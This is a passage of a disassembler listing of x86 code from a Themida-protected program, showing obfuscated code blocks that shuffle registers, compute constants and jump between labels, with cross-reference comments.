; ---------------------------------------------------------------------------


loc_5AB2A9:				; CODE XREF: Themida_:005ADEE4j
		mov	esi, esp
		jmp	loc_59A7B2
; ---------------------------------------------------------------------------


loc_5AB2B0:				; CODE XREF: Themida_:005A2A91j
		add	edx, ebp
		sub	edx, 7381274Dh
		sub	edx, 52143162h
		pop	ebp
		sub	edx, 2
		jmp	loc_59F121
; ---------------------------------------------------------------------------


loc_5AB2CA:				; CODE XREF: Themida_:00599603j
					; Themida_:0059DC5Dj
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5A99AF
; ---------------------------------------------------------------------------


loc_5AB2DA:				; CODE XREF: Themida_:005AA3F0j
		add	esp, 4
		push	ecx
		mov	ch, 48h
		push	dx
		mov	dl, 59h
		jmp	loc_5AB38D
; ---------------------------------------------------------------------------


loc_5AB2E9:				; CODE XREF: Themida_:005ABBC7j
		mov	[esp], esi
		push	0FFBh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 67776AC3h
		push	edx
		push	ecx
		jmp	loc_5A028A
; ---------------------------------------------------------------------------


loc_5AB308:				; CODE XREF: Themida_:0059B70Fj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 46250A8Ch
		shl	edi, 1
		add	edi, 1
		shl	edi, 7
		xor	edi, 250A8C84h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AC3C9
; ---------------------------------------------------------------------------


loc_5AB347:				; CODE XREF: Themida_:005ADBB8j
		dec	eax
		and	eax, 525D6020h
		inc	eax
		jmp	loc_5A1E9F
; ---------------------------------------------------------------------------


loc_5AB353:				; CODE XREF: Themida_:005ACFC4j
		or	edx, 608226DAh
		xor	edx, 1A591075h
		jmp	loc_59DE97
; ---------------------------------------------------------------------------


loc_5AB364:				; CODE XREF: Themida_:0059A519j
					; Themida_:loc_5A549Aj
		jnz	loc_5A08AD
		jmp	loc_5A68BA
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		and	al, 0E4h


loc_5AB379:				; CODE XREF: Themida_:0059E3F8j
		push	eax
		mov	eax, 410A65E2h
		jmp	loc_598E99
; ---------------------------------------------------------------------------


loc_5AB384:				; CODE XREF: Themida_:0059F7CEj
		add	ecx, 4
		push	ecx
		jmp	loc_5A08B2
; ---------------------------------------------------------------------------


loc_5AB38D:				; CODE XREF: Themida_:005AB2E4j
		sub	ch, dl
		pop	dx
		sub	al, ch
		jmp	loc_59A4F7
; ---------------------------------------------------------------------------


loc_5AB398:				; CODE XREF: Themida_:005A3E8Cj
		mov	ebp, edi
		jmp	loc_5A7841
; ---------------------------------------------------------------------------


loc_5AB39F:				; CODE XREF: Themida_:005A8B3Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AB3BF:				; CODE XREF: Themida_:005A1D34j
		sub	edx, edi
		pop	edi
		add	edx, eax
		add	edx, 22721680h
		jmp	loc_599B16
; ---------------------------------------------------------------------------


loc_5AB3CF:				; CODE XREF: Themida_:005A08A3j
					; Themida_:005ABC79j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A5854
; ---------------------------------------------------------------------------


loc_5AB3DB:				; CODE XREF: Themida_:005A4CB2j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A7653
; ---------------------------------------------------------------------------


loc_5AB3E4:				; CODE XREF: Themida_:005A1AA4j
		neg	ebp
		and	ebp, 2D952A5Eh
		xor	ebp, 3650095Bh
		xor	ebp, 16D12319h
		add	edx, 6C973FB4h
		add	edx, ebp
		push	ecx
		mov	ecx, 63271EA0h
		and	ecx, 70052861h
		neg	ecx
		and	ecx, 6A933194h
		inc	ecx
		shr	ecx, 6
		jmp	loc_5A4D2E
; ---------------------------------------------------------------------------


loc_5AB41D:				; CODE XREF: Themida_:005A3195j
		mov	[esp], ebx
		mov	bl, 82h
		inc	bl
		jmp	loc_5ADEF8
; ---------------------------------------------------------------------------


loc_5AB429:				; CODE XREF: Themida_:005A2C67j
		pop	ebx
		jmp	loc_5ADD00
; ---------------------------------------------------------------------------


loc_5AB42F:				; CODE XREF: Themida_:0059966Cj
		and	ebx, 48836D0Ah
		jmp	loc_5ACC0F
; ---------------------------------------------------------------------------


loc_5AB43A:				; CODE XREF: Themida_:005A912Bj
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5A0F32
; ---------------------------------------------------------------------------


loc_5AB451:				; CODE XREF: Themida_:005A9703j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5A45FE
		push	dword ptr [edi+1Ch]
		jmp	loc_5AAF7C
; ---------------------------------------------------------------------------


loc_5AB469:				; CODE XREF: Themida_:005AB750j
		mov	bl, al
		pop	eax
		push	eax
		mov	al, bl
		mov	ch, al
		pop	eax
		pop	ebx
		pop	edx
		mov	ah, 3Fh
		sub	ah, ch
		pop	ecx
		jmp	loc_59CB5C
; ---------------------------------------------------------------------------


loc_5AB47E:				; CODE XREF: Themida_:005A5E24j
		mov	edi, 0ABF2FCFh
		add	edi, 18A930B0h
		sub	ebx, edi
		pop	edi
		add	ebx, edx
		add	ebx, 2368607Fh
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	edi
		jmp	loc_5AA39A
; ---------------------------------------------------------------------------


loc_5AB4A4:				; CODE XREF: Themida_:005A2585j
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		mov	esi, ebx
		jmp	loc_5A994F
; ---------------------------------------------------------------------------


loc_5AB4B2:				; CODE XREF: Themida_:0059A59Fj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A81DA
; ---------------------------------------------------------------------------


loc_5AB4BF:				; CODE XREF: Themida_:00598C69j
		neg	ch
		js	loc_5AB936
		add	ch, 13h
		jmp	loc_59B855
; ---------------------------------------------------------------------------


loc_5AB4CF:				; CODE XREF: Themida_:005A4769j
		xor	[esp], ebx
		pop	dword ptr [edi+24h]
		jmp	loc_5A6A7C
; ---------------------------------------------------------------------------


loc_5AB4DA:				; CODE XREF: Themida_:005AF374j
		push	eax
		jmp	loc_59D909
; ---------------------------------------------------------------------------


loc_5AB4E0:				; CODE XREF: Themida_:005AD9D2j
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5A72C0
; ---------------------------------------------------------------------------


loc_5AB4F0:				; CODE XREF: Themida_:005AC29Ej
		mov	ecx, ebx
		jmp	loc_5A5C35
; ---------------------------------------------------------------------------


loc_5AB4F7:				; CODE XREF: Themida_:005ACBF7j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A89F4
; ---------------------------------------------------------------------------


loc_5AB517:				; CODE XREF: Themida_:005A8D2Ej
		push	edi
		push	1FAB5B69h
		pop	edi
		mov	ebx, 1FAB5B6Dh
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_5AA24C
; ---------------------------------------------------------------------------


loc_5AB52D:				; CODE XREF: Themida_:005AE757j
		pop	eax
		push	edi
		mov	edi, 534E3A5Ah
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5ABE7A
; ---------------------------------------------------------------------------


loc_5AB542:				; CODE XREF: Themida_:00599247j
		mov	ecx, 0F01513Bh
		and	ecx, 6F323A21h
		dec	ecx
		shl	ecx, 5
		add	ecx, 64413F50h
		add	esi, ecx
		pop	ecx
		jmp	loc_59ECA3
; ---------------------------------------------------------------------------


loc_5AB55F:				; CODE XREF: Themida_:005A2058j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		add	ebx, ecx
		jmp	loc_5AEE94
; ---------------------------------------------------------------------------


loc_5AB578:				; CODE XREF: Themida_:005A7563j
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 745D6294h
		shl	eax, 3
		shr	eax, 5
		push	edi
		jmp	loc_59F34C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	50BF0B14h
		jmp	loc_5A286D
; ---------------------------------------------------------------------------


loc_5AB5A1:				; CODE XREF: Themida_:005A8043j
		push	ebp
		jmp	loc_59EBC3
; ---------------------------------------------------------------------------


loc_5AB5A7:				; CODE XREF: Themida_:005AC7F1j
		and	bl, 0F8h
		ja	loc_59C18F
		or	bl, 95h
		jmp	loc_59CBD0
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		pop	esp


loc_5AB5BC:				; CODE XREF: Themida_:0059D408j
		add	esp, 4
		push	ebp
		mov	ebp, 7D703983h
		push	0
		sub	[esp], ebp
		pop	ebp
		shr	ebp, 6
		sub	ebp, 481D180Bh
		xor	ebp, 95B273ECh
		sub	ebx, ebp
		jmp	loc_5AD0D1
; ---------------------------------------------------------------------------


loc_5AB5E7:				; CODE XREF: Themida_:005A1BDAj
		shl	edi, 2
		sub	edi, 1724F75Ch
		jmp	loc_59C83B
; ---------------------------------------------------------------------------


loc_5AB5F5:				; CODE XREF: Themida_:005AA92Ej
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 235959BEh
		mov	ebx, edi
		pop	edi
		or	ebx, 67BC2208h
		xor	ebx, 66B80B39h
		xchg	eax, ebx
		jmp	loc_5AE3D4
; ---------------------------------------------------------------------------


loc_5AB619:				; CODE XREF: Themida_:0059CEA1j
		sub	esi, 74843531h
		inc	esi
		sub	esi, 4CDD1B8Ch
		push	ebx
		jmp	loc_5AE240
; ---------------------------------------------------------------------------


loc_5AB62C:				; CODE XREF: Themida_:0059AB1Ej
		push	64E0h
		jmp	loc_5A307A
; ---------------------------------------------------------------------------


loc_5AB636:				; CODE XREF: Themida_:loc_59C69Fj
		jmp	loc_59D080
; ---------------------------------------------------------------------------


loc_5AB63B:				; CODE XREF: Themida_:005A1512j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebx
		mov	ebx, eax
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5AF8CB
; ---------------------------------------------------------------------------


loc_5AB651:				; CODE XREF: Themida_:0059976Cj
		add	edx, 7C3C4A60h
		pop	esi
		push	ebx
		push	edx
		jmp	loc_5ACC47
; ---------------------------------------------------------------------------


loc_5AB65F:				; CODE XREF: Themida_:0059CB7Ej
		add	esi, 4
		push	ecx
		jmp	loc_5A3EFC
; ---------------------------------------------------------------------------


loc_5AB66B:				; CODE XREF: Themida_:005A8DC8j
		pop	ebx
		sub	dl, 0CEh
		mov	bh, dl
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 2
		jmp	loc_5A9AEE
; ---------------------------------------------------------------------------


loc_5AB68B:				; CODE XREF: Themida_:0059AA1Aj
					; Themida_:005ADBDDj
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		not	edi
		xchg	edi, edx
		xchg	edx, edi
		xchg	edi, [esp]
		mov	eax, [esp]
		jmp	loc_59CDBD
; ---------------------------------------------------------------------------


loc_5AB6A3:				; CODE XREF: Themida_:005A4A63j
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AABDD
; ---------------------------------------------------------------------------


loc_5AB6B2:				; CODE XREF: Themida_:005AAB2Fj
		neg	ebx
		shr	ebx, 3
		jmp	loc_5A4B7C
; ---------------------------------------------------------------------------


loc_5AB6BC:				; CODE XREF: Themida_:0059A8D2j
		not	ebx
		xor	ebx, 0FCA513DAh
		jmp	loc_59E6A9
; ---------------------------------------------------------------------------


loc_5AB6C9:				; CODE XREF: Themida_:005ADCB6j
		add	ebx, ebp
		jmp	loc_5A39DE
; ---------------------------------------------------------------------------


loc_5AB6D0:				; CODE XREF: Themida_:0059EA12j
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_59DB7C
; ---------------------------------------------------------------------------


loc_5AB6DD:				; CODE XREF: Themida_:005A24D6j
		pop	eax
		add	dword ptr [esp+4], 64587624h
		sub	dword ptr [esp+4], 245F52DAh
		sub	dword ptr [esp+4], 6E922586h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6E922586h
		add	dword ptr [esp+4], 245F52DAh
		sub	dword ptr [esp+4], 64587624h
		pop	ebp
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, 425445DBh
		add	esi, ebp
		jmp	loc_5AF2FC
; ---------------------------------------------------------------------------


loc_5AB727:				; CODE XREF: Themida_:0059B7D7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5AE764
; ---------------------------------------------------------------------------


loc_5AB747:				; CODE XREF: Themida_:005A98EBj
		not	dh
		xor	dh, 0C8h
		push	ebx
		push	eax
		mov	al, dh
		jmp	loc_5AB469
; ---------------------------------------------------------------------------


loc_5AB755:				; CODE XREF: Themida_:0059C339j
					; Themida_:005A3C17j
		sub	al, 67h
		sub	al, 0D9h
		jmp	loc_5A129D
; ---------------------------------------------------------------------------


loc_5AB75E:				; CODE XREF: Themida_:005A3160j
		add	edx, 4
		jmp	loc_5A021A
; ---------------------------------------------------------------------------


loc_5AB766:				; CODE XREF: Themida_:005A9D21j
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AB78A:				; CODE XREF: Themida_:005AB832j
		add	dh, 1
		xor	dh, cl
		jmp	loc_5A8939
; ---------------------------------------------------------------------------


loc_5AB794:				; CODE XREF: Themida_:005A1899j
		mov	edi, 44066D6Ch
		xor	edi, 2877F04h
		jmp	loc_599723
; ---------------------------------------------------------------------------


loc_5AB7A4:				; CODE XREF: Themida_:0059E522j
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	dh, 0C9h
		jmp	loc_5AD08F
; ---------------------------------------------------------------------------


loc_5AB7B7:				; CODE XREF: Themida_:0059BC75j
		push	ecx
		push	eax
		mov	ah, 0D5h
		mov	cl, ah
		pop	eax
		mov	bl, 0B9h
		sub	bl, cl
		jmp	loc_5AA996
; ---------------------------------------------------------------------------


loc_5AB7C7:				; CODE XREF: Themida_:005A16D9j
		push	ebx
		mov	bh, 47h
		jmp	loc_5A0B1B
; ---------------------------------------------------------------------------


loc_5AB7CF:				; CODE XREF: Themida_:0059F7E8j
		add	eax, 22A52BF9h
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_5A470D
; ---------------------------------------------------------------------------


loc_5AB7DE:				; CODE XREF: Themida_:0059A046j
		mov	cl, dl
		pop	edx
		jmp	loc_5A7175
; ---------------------------------------------------------------------------


loc_5AB7E6:				; CODE XREF: Themida_:0059A6EFj
		mov	dh, al
		pop	eax
		jmp	loc_5A2710
; ---------------------------------------------------------------------------


loc_5AB7EE:				; CODE XREF: Themida_:005AB13Dj
		inc	ch
		dec	ch
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 9Eh
		sub	ch, 11h
		jmp	loc_5A487F
; ---------------------------------------------------------------------------


loc_5AB805:				; CODE XREF: Themida_:005AE2D2j
		push	edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 2D774D79h
		not	edx
		jmp	loc_5AE03E
; ---------------------------------------------------------------------------


loc_5AB815:				; CODE XREF: Themida_:005A5410j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A7F04
; ---------------------------------------------------------------------------


loc_5AB829:				; CODE XREF: Themida_:0059CB5Ej
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AB78A
; ---------------------------------------------------------------------------


loc_5AB837:				; CODE XREF: Themida_:005AF136j
		add	edx, ebp
		pop	ebp
		jmp	loc_5A55D4
; ---------------------------------------------------------------------------


loc_5AB83F:				; CODE XREF: Themida_:0059B54Dj
					; Themida_:0059ED38j
		pop	dx
		shl	dx, 6
		shr	dx, 2
		shr	dx, 4
		xor	dx, 3D57h
		and	bx, dx
		jmp	loc_5AA0A3
; ---------------------------------------------------------------------------


loc_5AB85A:				; CODE XREF: Themida_:005A8D9Dj
		add	esp, 4
		pop	esi
		xchg	edi, [esp]
		jmp	loc_599AEA
; ---------------------------------------------------------------------------


loc_5AB869:				; CODE XREF: Themida_:005A65ABj
		and	dword ptr [edx+38h], 371A3221h
		jnb	loc_5A8A8F
		or	dword ptr [edx+38h], 43762E44h
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------


loc_5AB882:				; CODE XREF: Themida_:005A5AE0j
		pop	edx
		pop	bx
		push	small 709Fh
		mov	[esp], bx
		push	eax
		mov	ah, 6Bh
		shl	ah, 6
		jmp	loc_5ACF5E
; ---------------------------------------------------------------------------


loc_5AB898:				; CODE XREF: Themida_:0059CF38j
		push	esi
		push	794Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 12783C2Ah
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 45F35881h
		jmp	loc_5ACE34
; ---------------------------------------------------------------------------


loc_5AB8C5:				; CODE XREF: Themida_:005A6B36j
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_59F281
; ---------------------------------------------------------------------------


loc_5AB8D3:				; CODE XREF: Themida_:0059ABB7j
		pop	edi
		jmp	loc_598CB4
; ---------------------------------------------------------------------------


loc_5AB8D9:				; CODE XREF: Themida_:005A6566j
		push	ebx
		push	32D903F7h
		jmp	loc_59F828
; ---------------------------------------------------------------------------


loc_5AB8E4:				; CODE XREF: Themida_:005A0540j
					; Themida_:005A1EB1j
		xchg	ebp, [esp]
		jmp	loc_59C403
; ---------------------------------------------------------------------------


loc_5AB8EC:				; CODE XREF: Themida_:005996D5j
					; Themida_:0059DDDFj
		mov	edx, 2FF930E8h
		add	eax, 44F6E04h
		add	eax, 12A3108Dh
		add	eax, edx
		sub	eax, 12A3108Dh
		push	ebp
		push	edx
		mov	edx, 0CC54B6Fh
		add	edx, 615E1EEFh
		or	edx, 549D4CEDh
		not	edx
		or	edx, 6071220Ch
		xor	edx, 0E53EDD08h
		mov	ebp, edx
		push	dword ptr [esp]
		jmp	loc_5AF68A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5AF1B9
; ---------------------------------------------------------------------------


loc_5AB936:				; CODE XREF: Themida_:005AB4C1j
		add	ch, 13h
		jmp	loc_5A23E9
; ---------------------------------------------------------------------------


loc_5AB93E:				; DATA XREF: Themida_:005987B4o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AB94D:				; CODE XREF: Themida_:005A41BAj
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A433B
; ---------------------------------------------------------------------------


loc_5AB965:				; CODE XREF: Themida_:005AA60Ej
		mov	ebx, 6A421636h
		shr	ebx, 3
		jmp	loc_5AB0EA
; ---------------------------------------------------------------------------


loc_5AB972:				; CODE XREF: Themida_:005A50CEj
		push	esi
		mov	esi, 23CC3A7Dh
		mov	eax, 0A3708E4h
		add	eax, esi
		pop	esi
		sub	edx, 1AC6506Dh
		add	edx, 7556078Dh
		add	edx, eax
		sub	edx, 7556078Dh
		add	edx, 1AC6506Dh
		jmp	loc_59E2E1
; ---------------------------------------------------------------------------


loc_5AB99F:				; CODE XREF: Themida_:005A353Aj
		push	eax
		jmp	loc_5A27E6
; ---------------------------------------------------------------------------


loc_5AB9A5:				; CODE XREF: Themida_:005AB1D6j
		add	edi, esi
		jmp	loc_599E14
; ---------------------------------------------------------------------------


loc_5AB9AC:				; CODE XREF: Themida_:005AD7B7j
		shl	ebx, 4
		and	ebx, 7EA06660h
		sub	ebx, 31BF71EEh
		shl	ebx, 2
		sub	ebx, 6F729B71h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 54E13A5Fh
		jl	loc_5A2208
		xor	edi, 52DE3100h
		jg	loc_5AF621
		push	ecx
		mov	ecx, 4E77E6Eh
		jmp	loc_59A0B7
; ---------------------------------------------------------------------------
		pop	edx


loc_5AB9F0:				; CODE XREF: Themida_:005A9461j
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 8
		jmp	loc_5A6F0F
; ---------------------------------------------------------------------------


loc_5ABA13:				; CODE XREF: Themida_:0059A634j
		push	small 2EDDh
		mov	[esp], dx
		mov	dh, 0Ah
		jmp	loc_5A61B9
; ---------------------------------------------------------------------------


loc_5ABA22:				; CODE XREF: Themida_:005A4773j
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 53AE2427h
		not	ebp
		push	edx
		mov	edx, 6F0829CFh
		jmp	loc_59DCC6
; ---------------------------------------------------------------------------


loc_5ABA38:				; CODE XREF: Themida_:005A0780j
		push	esp
		jmp	loc_5A2317
; ---------------------------------------------------------------------------


loc_5ABA3E:				; CODE XREF: Themida_:005A48FAj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AE080
; ---------------------------------------------------------------------------


loc_5ABA4E:				; CODE XREF: Themida_:005A7D9Dj
		mov	edx, esp
		add	edx, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5AEA18
; ---------------------------------------------------------------------------


loc_5ABA64:				; CODE XREF: Themida_:0059C6CAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5ABD80
; ---------------------------------------------------------------------------


loc_5ABA80:				; CODE XREF: Themida_:005A3879j
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_5AAB8C
; ---------------------------------------------------------------------------


loc_5ABA8A:				; CODE XREF: Themida_:005AECAEj
		pop	esi
		shr	ecx, 2
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	6059h
		jmp	loc_5A15A9
; ---------------------------------------------------------------------------


loc_5ABA9D:				; CODE XREF: Themida_:0059CB30j
		jp	loc_5AF3A0
		dec	ebx
		jno	loc_5A1B79
		or	ebx, 2B3D7309h
		jmp	loc_5A2441
; ---------------------------------------------------------------------------
		sub	bl, 43h
		push	ebx


loc_5ABAB9:				; CODE XREF: Themida_:0059E6E4j
		pop	eax
		jmp	loc_5AFCB0
; ---------------------------------------------------------------------------


loc_5ABABF:				; CODE XREF: Themida_:005A4594j
		mov	ecx, 46F51035h
		or	ecx, 66196D89h
		jnp	loc_5AC886
		shl	ecx, 8
		js	loc_5AD1BF
		add	ecx, 2824304h
		mov	edx, ecx
		jmp	loc_5ADD33
; ---------------------------------------------------------------------------
		mov	ebx, edi


loc_5ABAE8:				; CODE XREF: Themida_:005A1B49j
		pop	edx
		push	esi
		mov	esi, 2
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_5AA65B
; ---------------------------------------------------------------------------


loc_5ABB02:				; CODE XREF: Themida_:005AE3A5j
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5A7D31
; ---------------------------------------------------------------------------


loc_5ABB0D:				; CODE XREF: Themida_:0059BCBFj
		mov	edi, 3F10734Dh
		jmp	loc_5A113D
; ---------------------------------------------------------------------------


loc_5ABB17:				; CODE XREF: Themida_:005AAD06j
		mov	[esp], ecx
		push	edx
		push	607A2AADh
		pop	edx
		jmp	loc_59E3F1
; ---------------------------------------------------------------------------


loc_5ABB26:				; CODE XREF: Themida_:00599311j
		push	esi
		mov	esi, esp
		jmp	loc_59E28A
; ---------------------------------------------------------------------------


loc_5ABB2E:				; CODE XREF: Themida_:005AF902j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebp, edi
		jmp	loc_5A3D3A
; ---------------------------------------------------------------------------


loc_5ABB48:				; CODE XREF: Themida_:005A980Bj
		mov	edx, 471C1E27h
		add	[esp+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	dword ptr [esp], 71906020h
		sub	[esp], eax
		jmp	loc_5ACA32
; ---------------------------------------------------------------------------


loc_5ABB6B:				; CODE XREF: Themida_:005A4D93j
		add	edx, eax
		jmp	loc_5A3512
; ---------------------------------------------------------------------------


loc_5ABB72:				; CODE XREF: Themida_:005A0FDEj
		sub	edx, 0D791EDB9h
		add	ebx, edx
		jmp	loc_59F104
; ---------------------------------------------------------------------------


loc_5ABB7F:				; CODE XREF: Themida_:0059B338j
					; Themida_:005A0DB5j
		mov	edi, edx
		mov	edx, [esp]
		push	ebp
		push	esp
		jmp	loc_5989B1
; ---------------------------------------------------------------------------


loc_5ABB8B:				; CODE XREF: Themida_:005A9BD1j
		mov	eax, 56305DFAh
		mov	edi, eax
		pop	eax
		shl	edi, 3
		shr	edi, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 17079FFh
		sub	ebx, 1
		shl	ebx, 5
		or	ebx, 3FF006DBh
		jmp	loc_5AF98C
; ---------------------------------------------------------------------------


loc_5ABBBB:				; CODE XREF: Themida_:005A49CEj
		add	esp, 4
		pop	esi


loc_5ABBC2:				; CODE XREF: Themida_:005A0BE0j
		push	7F4Eh
		jmp	loc_5AB2E9
; ---------------------------------------------------------------------------


loc_5ABBCC:				; CODE XREF: Themida_:005A30C2j
		pop	edx
		add	ecx, 29940A50h
		jmp	loc_59B957
; ---------------------------------------------------------------------------


loc_5ABBD8:				; CODE XREF: Themida_:005AED1Bj
		push	ecx
		push	edi
		mov	edi, 7F1C3021h
		mov	ecx, 83F0E95Dh
		sub	ecx, 338C0DE8h
		sub	ecx, 0B890D40h
		jmp	loc_59D374
; ---------------------------------------------------------------------------


loc_5ABBF5:				; CODE XREF: Themida_:005AA4DEj
		js	loc_59B164
		jmp	loc_5AA86F
; ---------------------------------------------------------------------------
		and	al, 0C9h
		or	al, 33h
		not	al
		push	ecx
		pop	esi


loc_5ABC08:				; CODE XREF: Themida_:005A4CACj
		mov	si, 2
		add	[esp+2], si
		jmp	loc_59A6A6
; ---------------------------------------------------------------------------


loc_5ABC16:				; CODE XREF: Themida_:005AF691j
		sub	eax, 5A03512h
		add	eax, 7584258Fh
		sub	eax, ebp
		sub	eax, 7584258Fh
		add	eax, 5A03512h
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5A71DC
; ---------------------------------------------------------------------------


loc_5ABC3C:				; CODE XREF: Themida_:00599FABj
		mov	edx, 0F2BAF70Dh
		xor	eax, edx
		jmp	loc_59940B
; ---------------------------------------------------------------------------


loc_5ABC48:				; CODE XREF: Themida_:005A3F25j
		add	edx, eax
		jmp	loc_5A5D67
; ---------------------------------------------------------------------------


loc_5ABC4F:				; CODE XREF: Themida_:0059FC05j
		mov	ebx, 32EE7D04h
		or	ebx, 53D87871h
		jbe	loc_5ACBFC
		add	ebx, 0FB3C8468h
		add	ebp, ebx
		jmp	loc_5A4654
; ---------------------------------------------------------------------------


loc_5ABC6D:				; CODE XREF: Themida_:005A94D5j
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AB3CF
; ---------------------------------------------------------------------------


loc_5ABC7E:				; CODE XREF: Themida_:00599B71j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AC38E
; ---------------------------------------------------------------------------


loc_5ABC89:				; CODE XREF: Themida_:0059C332j
		push	esi
		push	ebp
		push	62365A66h
		pop	ebp
		shr	ebp, 4
		jnz	loc_5A6AC0
		push	eax
		mov	eax, 2E23690Ch
		shl	eax, 8
		jnp	loc_59B49F


loc_5ABCA9:				; CODE XREF: Themida_:0059BA61j
		jnz	loc_5A6F66
		jmp	loc_5AAEB1
; ---------------------------------------------------------------------------
		push	1C06h
		mov	[esp], esi
		push	edx


loc_5ABCBD:				; CODE XREF: Themida_:005A1F2Dj
		add	esi, 214B200Ah
		add	esi, 68AB291Ah
		sub	esi, 40D96C98h
		add	esi, 8B3749Ah
		add	esi, 1FE91078h
		jmp	loc_5AE69E
; ---------------------------------------------------------------------------


loc_5ABCE0:				; CODE XREF: Themida_:005AA166j
		add	ebx, eax
		pop	eax
		jmp	loc_5AC7CD
; ---------------------------------------------------------------------------


loc_5ABCE8:				; CODE XREF: Themida_:005A072Ej
		push	esi
		mov	esi, 2
		mov	eax, esi
		jmp	loc_59B974
; ---------------------------------------------------------------------------


loc_5ABCF5:				; CODE XREF: Themida_:0059A103j
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
